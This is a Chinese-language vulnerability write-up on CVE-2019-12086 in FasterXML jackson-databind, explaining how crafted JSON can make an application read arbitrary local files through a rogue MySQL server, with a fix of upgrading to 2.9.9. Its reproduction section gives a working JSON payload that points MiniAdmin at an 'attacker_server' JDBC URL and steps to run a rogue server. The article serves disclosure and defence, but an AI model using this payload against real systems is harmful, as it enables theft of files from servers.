CVE-2019-12086 jackson任意文件读取漏洞
- 发表于
- Vulndb
漏洞说明
CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中发现了漏洞。在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件。mysql-connector-java这个库就是连接数据库时常用的mysql jdbc。这是因为缺少com.mysql.cj.jdbc.admin.MiniAdmin验证。
漏洞分析
- 在开启Default Typing的情况下,jackson在反序列化json时,可以反序列化指定类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
com.mysql.cj.jdbc.admin.MiniAdmin
的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin
类在初始化会连接这个jdbcURL中指定的MySQL数据库。- 在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。
漏洞复现
启动恶意MySQL服务器:
1 2 |
$ git clone https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py $ python rogue_mysql_server.py |
在同一个目录下查看mysql.log:
1 |
tail -f mysql.log |
向存在漏洞的应用发送如下json:
1 |
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"] |
当jackson反序列化恶意json串后,会连接恶意MySQL服务器,被读取的文件内容会写入恶意服务器的mysql.log。
漏洞修复
升级jackson至2.9.9
及以上。
原文连接:CVE-2019-12086 jackson任意文件读取漏洞
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。